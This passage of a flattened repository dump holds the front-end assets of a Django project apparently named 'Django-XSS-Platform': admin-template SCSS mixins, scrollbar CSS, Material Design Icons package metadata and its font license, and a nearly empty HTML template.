.badge { 27 | margin-bottom: 0; 28 | } 29 | } 30 | &.table-borderless{ 31 | border: none; 32 | tr,td,th{ 33 | border: none; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /static/user/scss/landing-screens/_auth.scss: -------------------------------------------------------------------------------- 1 | /* Auth */ 2 | 3 | .auth { 4 | .auth-form-light { 5 | background: $white; 6 | select { 7 | color: $input-placeholder-color; 8 | } 9 | .input-group { 10 | .form-control { 11 | &:focus, 12 | &:active { 13 | border-color: $border-color; 14 | } 15 | } 16 | } 17 | } 18 | .brand-logo { 19 | margin-bottom: 2rem; 20 | img { 21 | width: 150px; 22 | } 23 | } 24 | form { 25 | .form-group { 26 | margin-bottom: 1.5rem; 27 | label { 28 | font-size: .8125rem; 29 | } 30 | .form-control { 31 | background: transparent; 32 | border-radius: 0; 33 | font-size: .9375rem; 34 | } 35 | } 36 | .auth-form-btn { 37 | height: 50px; 38 | line-height: 1.5; 39 | } 40 | .auth-link { 41 | font-size: $default-font-size; 42 | &:hover { 43 | color: initial; 44 | } 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /static/user/scss/mixins/_animation.scss: -------------------------------------------------------------------------------- 1 | /* Animation Mixins */ 2 | @keyframes dropdownAnimation { 3 | from { 4 | opacity: 0; 5 | transform: translate3d(0, -30px, 0); 6 | } 7 | 8 | to { 9 | opacity: 1; 10 | transform: none; 11 | transform: translate3d(0, 0px, 0); 12 | } 13 | } 14 | 15 | .dropdownAnimation { 16 | animation-name: dropdownAnimation; 17 | @include animation-duration($action-transition-duration); 18 | @include animation-fill-mode(both); 19 | } 20 | @mixin transition($settings) { 21 | -webkit-transition: $settings; 22 | -moz-transition: $settings; 23 | -ms-transition: $settings; 24 | -o-transition: $settings; 25 | transition: $settings; 26 | } 27 | @keyframes fadeOut { 28 | from { 29 | opacity: 1; 30 | } 31 | 32 | to { 33 | opacity: 0; 34 | } 35 | } 36 | 37 | .fadeOut { 38 | animation-name: fadeOut; 39 | } 40 | 41 | .infinite-spin { 42 | @keyframes spin { 43 | from { 44 | transform: rotate(0deg); 45 | } 46 | 47 | to { 48 | transform: rotate(360deg); 49 | } 50 | } 51 | animation-name: spin; 52 | animation-duration: 3s; 53 | animation-iteration-count: infinite; 54 | animation-timing-function: linear; 55 | } 56 | @keyframes fadeInUp { 57 | from { 58 | opacity: 0; 59 | transform: translate3d(0, 100%, 0); 60 | } 61 | 62 | to { 63 | opacity: 1; 64 | transform: none; 65 | } 66 | } 67 | 68 | .fadeInUp { 69 | animation-name: fadeInUp; 70 | } -------------------------------------------------------------------------------- /static/user/scss/mixins/_background.scss: -------------------------------------------------------------------------------- 1 | // Background Mixins // 2 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_badges.scss: -------------------------------------------------------------------------------- 1 | //Badge Mixins 2 | 3 | //Badge vriations 4 | @mixin badge-variations($color) { 5 | border: 1px solid $color; 6 | color: $white; 7 | } 8 | // Badge outlined variations 9 | @mixin badge-outline-variations($color) { 10 | color: $color; 11 | border: 1px solid $color; 12 | } 13 | // Badge outlined variations 14 | @mixin badge-gradient-variations($color) { 15 | background: $color; 16 | color: $white; 17 | } -------------------------------------------------------------------------------- /static/user/scss/mixins/_blockqoute.scss: -------------------------------------------------------------------------------- 1 | // BlockQuote Mixins // 2 | 3 | @mixin blockquote($color) { 4 | border-color: $color; 5 | .blockquote-footer { 6 | color: $color; 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_buttons.scss: -------------------------------------------------------------------------------- 1 | @mixin social-button($color) { 2 | background: $color; 3 | color: $white; 4 | 5 | &:hover, 6 | &:focus { 7 | background: darken($color, 10%); 8 | color: $white; 9 | } 10 | &.btn-social-icon-text { 11 | padding: 0 1.5rem 0 0; 12 | background: lighten($color, 10%); 13 | i { 14 | background: $color; 15 | padding: .75rem; 16 | display: inline-block; 17 | margin-right: 1.5rem; 18 | } 19 | } 20 | } 21 | @mixin social-outline-button($color) { 22 | border: 1px solid $color; 23 | color: $color; 24 | &:hover { 25 | background: $color; 26 | color: $white; 27 | } 28 | } 29 | @mixin button-inverse-variant($color, $color-hover: $white) { 30 | background-color: rgba($color, 0.2); 31 | background-image: none; 32 | border-color: rgba($color, 0); 33 | &:not(.btn-inverse-light) { 34 | color: $color; 35 | } 36 | @include hover { 37 | color: $color-hover; 38 | background-color: $color; 39 | border-color: $color; 40 | } 41 | 42 | &.focus, 43 | &:focus { 44 | box-shadow: 0 0 0 3px rgba($color, .5); 45 | } 46 | 47 | &.disabled, 48 | &:disabled { 49 | color: $color; 50 | background-color: transparent; 51 | } 52 | 53 | &.active, 54 | &:active, 55 | .show > &.dropdown-toggle { 56 | color: $color-hover; 57 | background-color: $color; 58 | border-color: $color; 59 | } 60 | } 61 | @mixin button-gradient-variant($value) { 62 | background: $value; 63 | border: 0; 64 | &:not([disabled]):not(.disabled):active, 65 | &:not([disabled]):not(.disabled).active, 66 | .show > &.dropdown-toggle { 67 | background: $value; 68 | } 69 | &:hover { 70 | opacity: .8; 71 | } 72 | &:not(.btn-gradient-light) { 73 | color: $white; 74 | &:hover, 75 | &:focus, 76 | &:active { 77 | color: $white; 78 | } 79 | } 80 | @include transition(opacity .3s ease); 81 | } 82 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_cards.scss: -------------------------------------------------------------------------------- 1 | // Cards Mixins 2 | 3 | @mixin card-inverse-variant($bg, $border, $color) { 4 | background: $bg; 5 | border: 1px solid $border; 6 | color: $color; 7 | } 8 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_misc.scss: -------------------------------------------------------------------------------- 1 | /* Miscellaneous Mixins */ 2 | 3 | // general transform 4 | @mixin transform($transforms) { 5 | -moz-transform: $transforms; 6 | -o-transform: $transforms; 7 | -ms-transform: $transforms; 8 | -webkit-transform: $transforms; 9 | transform: $transforms; 10 | } 11 | 12 | // rotate 13 | @mixin rotate ($deg) { 14 | @include transform(rotate(#{$deg}deg)); 15 | } 16 | 17 | // scale 18 | @mixin scale($scale) { 19 | @include transform(scale($scale)); 20 | } 21 | // translate 22 | @mixin translate ($x, $y) { 23 | @include transform(translate($x, $y)); 24 | } 25 | // skew 26 | @mixin skew ($x, $y) { 27 | @include transform(skew(#{$x}deg, #{$y}deg)); 28 | } 29 | //transform origin 30 | @mixin transform-origin ($origin) { 31 | moz-transform-origin: $origin; 32 | -o-transform-origin: $origin; 33 | -ms-transform-origin: $origin; 34 | -webkit-transform-origin: $origin; 35 | transform-origin: $origin; 36 | } 37 | //Ellipsis 38 | %ellipsor{ 39 | text-overflow: ellipsis; 40 | overflow: hidden; 41 | max-width:100%; 42 | white-space: nowrap; 43 | } 44 | 45 | // Placeholder 46 | @mixin placeholder { 47 | &::-webkit-input-placeholder { 48 | @content 49 | } 50 | &:-moz-placeholder { 51 | @content 52 | } 53 | &::-moz-placeholder { 54 | @content 55 | } 56 | &:-ms-input-placeholder { 57 | @content 58 | } 59 | } -------------------------------------------------------------------------------- /static/user/scss/style.scss: -------------------------------------------------------------------------------- 1 | /*------------------------------------------------------------------ 2 | [Master Stylesheet] 3 | 4 | Project: Purple Admin 5 | Version: 2.0.0 6 | -------------------------------------------------------------------*/ 7 | 8 | 9 | 10 | /*------------------------------------------------------------------- 11 | ===== Table of Contents ===== 12 | 13 | * Bootstrap functions 14 | * Template variables 15 | * SCSS Compass Functions 16 | * Boostrap Main SCSS 17 | * Template mixins 18 | + Animation Mixins 19 | + Background Mixins 20 | + Badge Mixins 21 | + Button Mixins 22 | + Miscellaneous Mixins 23 | + BlockQuote Mixins 24 | + Cards Mixins 25 | + Color Functions Mixins 26 | + Tooltips 27 | + popovers 28 | * Core Styles 29 | + Reset Styles 30 | + Fonts 31 | + Functions 32 | + Backgrounds 33 | + Sidebar 34 | + Navbar 35 | + Typography 36 | + Miscellaneous 37 | + Footer 38 | + Layouts 39 | + Utilities 40 | + Demo styles 41 | * Components 42 | + Badges 43 | + Boostrap Progress 44 | + Buttons 45 | + Cards 46 | + Checkboxes and Radios 47 | + Dropdowns 48 | + Forms 49 | + Icons 50 | + Lists 51 | + Preview 52 | + Tables 53 | * Landing screens 54 | + Auth 55 | -------------------------------------------------------------------*/ 56 | 57 | 58 | /*-------------------------------------------------------------------*/ 59 | /* === Import Bootstrap functions and variables === */ 60 | @import "../node_modules/bootstrap/scss/functions"; 61 | @import "../node_modules/bootstrap/scss/variables"; 62 | 63 | /*-------------------------------------------------------------------*/ 64 | /* === Import template variables === */ 65 | @import "variables"; 66 | 67 | /*-------------------------------------------------------------------*/ 68 | /* === SCSS Compass Functions === */ 69 | @import "../node_modules/compass-mixins/lib/compass"; 70 | @import "../node_modules/compass-mixins/lib/animate"; 71 | 72 | /*-------------------------------------------------------------------*/ 73 | /* === Boostrap Main SCSS === */ 74 | @import "../node_modules/bootstrap/scss/bootstrap"; 75 | 76 | /*-------------------------------------------------------------------*/ 77 | /* === Template mixins === */ 78 | @import "mixins/misc"; 79 | @import "mixins/animation"; 80 | @import "mixins/background"; 81 | @import "mixins/badges"; 82 | @import "mixins/blockqoute"; 83 | @import "mixins/buttons"; 84 | @import "mixins/cards"; 85 | 86 | /*-------------------------------------------------------------------*/ 87 | /* === Core Styles === */ 88 | @import "reset"; 89 | @import "fonts"; 90 | @import "functions"; 91 | @import "background"; 92 | @import "sidebar"; 93 | @import "navbar"; 94 | @import "typography"; 95 | @import "misc"; 96 | @import "footer"; 97 | @import "utilities"; 98 | @import "demo"; 99 | 100 | /*-------------------------------------------------------------------*/ 101 | /* === Components === */ 102 | @import "components/badges"; 103 | @import "components/bootstrap-progress"; 104 | @import "components/buttons"; 105 | @import "components/cards"; 106 | @import "components/checkbox-radio"; 107 | @import "components/dropdown"; 108 | @import "components/forms"; 109 | @import "components/icons"; 110 | @import "components/lists"; 111 | @import "components/preview"; 112 | @import "components/tables"; 113 | 114 | /*-------------------------------------------------------------------*/ 115 | /* === Landing screens === */ 116 | @import "landing-screens/auth"; 117 | -------------------------------------------------------------------------------- /static/user/vendors/css/vendor.bundle.base.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Container style 3 | */ 4 | .ps { 5 | overflow: hidden !important; 6 | overflow-anchor: none; 7 | -ms-overflow-style: none; 8 | touch-action: auto; 9 | -ms-touch-action: auto; 10 | } 11 | 12 | /* 13 | * Scrollbar rail styles 14 | */ 15 | .ps__rail-x { 16 | display: none; 17 | opacity: 0; 18 | transition: background-color .2s linear, opacity .2s linear; 19 | -webkit-transition: background-color .2s linear, opacity .2s linear; 20 | height: 15px; 21 | /* there must be 'bottom' or 'top' for ps__rail-x */ 22 | bottom: 0px; 23 | /* please don't change 'position' */ 24 | position: absolute; 25 | } 26 | 27 | .ps__rail-y { 28 | display: none; 29 | opacity: 0; 30 | transition: background-color .2s linear, opacity .2s linear; 31 | -webkit-transition: background-color .2s linear, opacity .2s linear; 32 | width: 15px; 33 | /* there must be 'right' or 'left' for ps__rail-y */ 34 | right: 0; 35 | /* please don't change 'position' */ 36 | position: absolute; 37 | } 38 | 39 | .ps--active-x > .ps__rail-x, 40 | .ps--active-y > .ps__rail-y { 41 | display: block; 42 | background-color: transparent; 43 | } 44 | 45 | .ps:hover > .ps__rail-x, 46 | .ps:hover > .ps__rail-y, 47 | .ps--focus > .ps__rail-x, 48 | .ps--focus > .ps__rail-y, 49 | .ps--scrolling-x > .ps__rail-x, 50 | .ps--scrolling-y > .ps__rail-y { 51 | opacity: 0.6; 52 | } 53 | 54 | .ps__rail-x:hover, 55 | .ps__rail-y:hover, 56 | .ps__rail-x:focus, 57 | .ps__rail-y:focus { 58 | background-color: #eee; 59 | opacity: 0.9; 60 | } 61 | 62 | /* 63 | * Scrollbar thumb styles 64 | */ 65 | .ps__thumb-x { 66 | background-color: #aaa; 67 | border-radius: 6px; 68 | transition: background-color .2s linear, height .2s ease-in-out; 69 | -webkit-transition: background-color .2s linear, height .2s ease-in-out; 70 | height: 6px; 71 | /* there must be 'bottom' for ps__thumb-x */ 72 | bottom: 2px; 73 | /* please don't change 'position' */ 74 | position: absolute; 75 | } 76 | 77 | .ps__thumb-y { 78 | background-color: #aaa; 79 | border-radius: 6px; 80 | transition: background-color .2s linear, width .2s ease-in-out; 81 | -webkit-transition: background-color .2s linear, width .2s ease-in-out; 82 | width: 6px; 83 | /* there must be 'right' for ps__thumb-y */ 84 | right: 2px; 85 | /* please don't change 'position' */ 86 | position: absolute; 87 | } 88 | 89 | .ps__rail-x:hover > .ps__thumb-x, 90 | .ps__rail-x:focus > .ps__thumb-x { 91 | background-color: #999; 92 | height: 11px; 93 | } 94 | 95 | .ps__rail-y:hover > .ps__thumb-y, 96 | .ps__rail-y:focus > .ps__thumb-y { 97 | background-color: #999; 98 | width: 11px; 99 | } 100 | 101 | /* MS supports */ 102 | @supports (-ms-overflow-style: none) { 103 | .ps { 104 | overflow: auto !important; 105 | } 106 | } 107 | 108 | @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { 109 | .ps { 110 | overflow: auto !important; 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mdi", 3 | "version": "2.1.19", 4 | "main": [ 5 | "scss/materialdesignicons.scss" 6 | ], 7 | "homepage": "http://materialdesignicons.com", 8 | "authors": [ 9 | { "name": "Austin Andrews", "homepage": "http://templarian.com" }, 10 | { "name": "Google", "homepage": "http://www.google.com/design" } 11 | ], 12 | "license": ["OFL-1.1", "MIT"], 13 | "ignore": [ 14 | "*.md", 15 | "*.json" 16 | ], 17 | "keywords": [ 18 | "material", 19 | "design", 20 | "icons", 21 | "webfont" 22 | ] 23 | } 24 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.eot -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.ttf -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff2 -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/license.md: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Austin Andrews (http://materialdesignicons.com/), 2 | with Reserved Font Name Material Design Icons. 3 | 4 | Copyright (c) 2014, Google (http://www.google.com/design/) 5 | uses the license at https://github.com/google/material-design-icons/blob/master/LICENSE 6 | 7 | This Font Software is licensed under the SIL Open Font License, Version 1.1. 8 | This license is copied below, and is also available with a FAQ at: 9 | http://scripts.sil.org/OFL 10 | 11 | 12 | ----------------------------------------------------------- 13 | SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 14 | ----------------------------------------------------------- 15 | 16 | PREAMBLE 17 | The goals of the Open Font License (OFL) are to stimulate worldwide 18 | development of collaborative font projects, to support the font creation 19 | efforts of academic and linguistic communities, and to provide a free and 20 | open framework in which fonts may be shared and improved in partnership 21 | with others. 22 | 23 | The OFL allows the licensed fonts to be used, studied, modified and 24 | redistributed freely as long as they are not sold by themselves. The 25 | fonts, including any derivative works, can be bundled, embedded, 26 | redistributed and/or sold with any software provided that any reserved 27 | names are not used by derivative works. The fonts and derivatives, 28 | however, cannot be released under any other type of license. The 29 | requirement for fonts to remain under this license does not apply 30 | to any document created using the fonts or their derivatives. 31 | 32 | DEFINITIONS 33 | "Font Software" refers to the set of files released by the Copyright 34 | Holder(s) under this license and clearly marked as such. This may 35 | include source files, build scripts and documentation. 36 | 37 | "Reserved Font Name" refers to any names specified as such after the 38 | copyright statement(s). 39 | 40 | "Original Version" refers to the collection of Font Software components as 41 | distributed by the Copyright Holder(s). 42 | 43 | "Modified Version" refers to any derivative made by adding to, deleting, 44 | or substituting -- in part or in whole -- any of the components of the 45 | Original Version, by changing formats or by porting the Font Software to a 46 | new environment. 47 | 48 | "Author" refers to any designer, engineer, programmer, technical 49 | writer or other person who contributed to the Font Software. 50 | 51 | PERMISSION & CONDITIONS 52 | Permission is hereby granted, free of charge, to any person obtaining 53 | a copy of the Font Software, to use, study, copy, merge, embed, modify, 54 | redistribute, and sell modified and unmodified copies of the Font 55 | Software, subject to the following conditions: 56 | 57 | 1) Neither the Font Software nor any of its individual components, 58 | in Original or Modified Versions, may be sold by itself. 59 | 60 | 2) Original or Modified Versions of the Font Software may be bundled, 61 | redistributed and/or sold with any software, provided that each copy 62 | contains the above copyright notice and this license. These can be 63 | included either as stand-alone text files, human-readable headers or 64 | in the appropriate machine-readable metadata fields within text or 65 | binary files as long as those fields can be easily viewed by the user. 66 | 67 | 3) No Modified Version of the Font Software may use the Reserved Font 68 | Name(s) unless explicit written permission is granted by the corresponding 69 | Copyright Holder. This restriction only applies to the primary font name as 70 | presented to the users. 71 | 72 | 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font 73 | Software shall not be used to promote, endorse or advertise any 74 | Modified Version, except to acknowledge the contribution(s) of the 75 | Copyright Holder(s) and the Author(s) or with their explicit written 76 | permission. 77 | 78 | 5) The Font Software, modified or unmodified, in part or in whole, 79 | must be distributed entirely under this license, and must not be 80 | distributed under any other license. The requirement for fonts to 81 | remain under this license does not apply to any document created 82 | using the Font Software. 83 | 84 | TERMINATION 85 | This license becomes null and void if any of the above conditions are 86 | not met. 87 | 88 | DISCLAIMER 89 | THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 90 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF 91 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT 92 | OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE 93 | COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 94 | INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL 95 | DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 96 | FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM 97 | OTHER DEALINGS IN THE FONT SOFTWARE. -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "_args": [ 3 | [ 4 | "mdi@2.1.19", 5 | "/Users/linsa/project/purple_free" 6 | ] 7 | ], 8 | "_from": "mdi@2.1.19", 9 | "_id": "mdi@2.1.19", 10 | "_inBundle": false, 11 | "_integrity": "sha512-WErwab4jq/jcCeo4aecQ5UH1WXu2Eto5Rdb0AiBFcUw8CHmF/UeV+hf9wKyH17X+c3Z+jaS3jDKW7fu0R0HmWQ==", 12 | "_location": "/mdi", 13 | "_phantomChildren": {}, 14 | "_requested": { 15 | "type": "version", 16 | "registry": true, 17 | "raw": "mdi@2.1.19", 18 | "name": "mdi", 19 | "escapedName": "mdi", 20 | "rawSpec": "2.1.19", 21 | "saveSpec": null, 22 | "fetchSpec": "2.1.19" 23 | }, 24 | "_requiredBy": [ 25 | "/" 26 | ], 27 | "_resolved": "https://registry.npmjs.org/mdi/-/mdi-2.1.19.tgz", 28 | "_spec": "2.1.19", 29 | "_where": "/Users/linsa/project/purple_free", 30 | "author": { 31 | "name": "Austin Andrews", 32 | "url": "http://twitter.com/templarian" 33 | }, 34 | "bugs": { 35 | "url": "https://github.com/Templarian/MaterialDesign/issues" 36 | }, 37 | "description": "Dist for Material Design Webfont. This includes the Stock and Community icons in a single webfont collection.", 38 | "homepage": "http://materialdesignicons.com", 39 | "keywords": [ 40 | "material", 41 | "design", 42 | "icons", 43 | "webfont" 44 | ], 45 | "licenses": [ 46 | { 47 | "type": "OFL-1.1", 48 | "url": "http://scripts.sil.org/OFL" 49 | }, 50 | { 51 | "type": "MIT", 52 | "url": "http://opensource.org/licenses/mit-license.html" 53 | } 54 | ], 55 | "main": "preview.html", 56 | "name": "mdi", 57 | "repository": { 58 | "type": "git", 59 | "url": "git+https://github.com/Templarian/MaterialDesign-Webfont.git" 60 | }, 61 | "scripts": { 62 | "test": "echo \"Error: no test specified\" && exit 1" 63 | }, 64 | "style": "css/materialdesignicons.css", 65 | "version": "2.1.19" 66 | } 67 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // From Font Awesome 2 | .#{$mdi-css-prefix}-spin:before { 3 | -webkit-animation: #{$mdi-css-prefix}-spin 2s infinite linear; 4 | animation: #{$mdi-css-prefix}-spin 2s infinite linear; 5 | } 6 | 7 | @-webkit-keyframes #{$mdi-css-prefix}-spin { 8 | 0% { 9 | -webkit-transform: rotate(0deg); 10 | transform: rotate(0deg); 11 | } 12 | 100% { 13 | -webkit-transform: rotate(359deg); 14 | transform: rotate(359deg); 15 | } 16 | } 17 | 18 | @keyframes #{$mdi-css-prefix}-spin { 19 | 0% { 20 | -webkit-transform: rotate(0deg); 21 | transform: rotate(0deg); 22 | } 23 | 100% { 24 | -webkit-transform: rotate(359deg); 25 | transform: rotate(359deg); 26 | } 27 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_core.scss: -------------------------------------------------------------------------------- 1 | .#{$mdi-css-prefix}:before, 2 | .#{$mdi-css-prefix}-set { 3 | display: inline-block; 4 | font: normal normal normal #{$mdi-font-size-base}/1 '#{$mdi-font-name}'; // shortening font declaration 5 | font-size: inherit; // can't have font-size inherit on line above, so need to override 6 | text-rendering: auto; // optimizelegibility throws things off #1094 7 | line-height: inherit; 8 | -webkit-font-smoothing: antialiased; 9 | -moz-osx-font-smoothing: grayscale; 10 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_extras.scss: -------------------------------------------------------------------------------- 1 | $sizes: 18 24 36 48; 2 | @each $size in $sizes { 3 | .#{$mdi-css-prefix}-#{$size}px { 4 | &.#{$mdi-css-prefix}-set, 5 | &.#{$mdi-css-prefix}:before { 6 | font-size: $size * 1px; 7 | } 8 | } 9 | } 10 | 11 | .#{$mdi-css-prefix}-dark { 12 | &:before { 13 | color: rgba(0, 0, 0, 0.54); 14 | } 15 | &.mdi-inactive:before { 16 | color: rgba(0, 0, 0, 0.26); 17 | } 18 | } 19 | .#{$mdi-css-prefix}-light { 20 | &:before { 21 | color: rgba(255, 255, 255, 1); 22 | } 23 | &.mdi-inactive:before { 24 | color: rgba(255, 255, 255, 0.3); 25 | } 26 | } 27 | 28 | $degrees: 45 90 135 180 225 270 315; 29 | @each $degree in $degrees { 30 | .#{$mdi-css-prefix}-rotate-#{$degree}{ 31 | &:before { 32 | -webkit-transform: rotate(#{$degree}deg); 33 | -ms-transform: rotate(#{$degree}deg); 34 | transform: rotate(#{$degree}deg); 35 | } 36 | /* 37 | // Not included in production 38 | &.#{$mdi-css-prefix}-flip-h:before { 39 | -webkit-transform: scaleX(-1) rotate(#{$degree}deg); 40 | transform: scaleX(-1) rotate(#{$degree}deg); 41 | filter: FlipH; 42 | -ms-filter: "FlipH"; 43 | } 44 | &.#{$mdi-css-prefix}-flip-v:before { 45 | -webkit-transform: scaleY(-1) rotate(#{$degree}deg); 46 | -ms-transform: rotate(#{$degree}deg); 47 | transform: scaleY(-1) rotate(#{$degree}deg); 48 | filter: FlipV; 49 | -ms-filter: "FlipV"; 50 | } 51 | */ 52 | } 53 | } 54 | .#{$mdi-css-prefix}-flip-h:before { 55 | -webkit-transform: scaleX(-1); 56 | transform: scaleX(-1); 57 | filter: FlipH; 58 | -ms-filter: "FlipH"; 59 | } 60 | .#{$mdi-css-prefix}-flip-v:before { 61 | -webkit-transform: scaleY(-1); 62 | transform: scaleY(-1); 63 | filter: FlipV; 64 | -ms-filter: "FlipV"; 65 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_functions.scss: -------------------------------------------------------------------------------- 1 | @function char($character-code) { 2 | @if function-exists("selector-append") { 3 | @return unquote("\"\\#{$character-code}\""); 4 | } 5 | 6 | @if "\\#{'x'}" == "\\x" { 7 | @return str-slice("\x", 1, 1) + $character-code; 8 | } 9 | @else { 10 | @return #{"\"\\"}#{$character-code + "\""}; 11 | } 12 | } 13 | 14 | @function mdi($name) { 15 | @if map-has-key($mdi-icons, $name) == false { 16 | @warn "Icon #{$name} not found."; 17 | @return ""; 18 | } 19 | @return char(map-get($mdi-icons, $name)); 20 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_icons.scss: -------------------------------------------------------------------------------- 1 | @each $key, $value in $mdi-icons { 2 | .#{$mdi-css-prefix}-#{$key}:before { 3 | content: char($value); 4 | } 5 | } 6 | 7 | .#{$mdi-css-prefix}-blank:before { 8 | content: "\F68C"; 9 | visibility: hidden; 10 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_path.scss: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: '#{$mdi-font-name}'; 3 | src: url('#{$mdi-font-path}/#{$mdi-filename}-webfont.eot?v=#{$mdi-version}'); 4 | src: url('#{$mdi-font-path}/#{$mdi-filename}-webfont.eot?#iefix&v=#{$mdi-version}') format('embedded-opentype'), 5 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.woff2?v=#{$mdi-version}') format('woff2'), 6 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.woff?v=#{$mdi-version}') format('woff'), 7 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.ttf?v=#{$mdi-version}') format('truetype'), 8 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.svg?v=#{$mdi-version}##{$mdi-filename}#{$mdi-font-weight}') format('svg'); 9 | font-weight: normal; 10 | font-style: normal; 11 | } 12 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/materialdesignicons.scss: -------------------------------------------------------------------------------- 1 | /* MaterialDesignIcons.com */ 2 | @import "variables"; 3 | @import "functions"; 4 | @import "path"; 5 | @import "core"; 6 | @import "icons"; 7 | @import "extras"; 8 | @import "animated"; -------------------------------------------------------------------------------- /templates/index/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |8 | 9 |52 | 53 |10 | 26 |11 |25 |12 | 13 |24 | 23 |27 |43 | 51 |28 |42 |29 | 37 |41 |38 |40 |39 |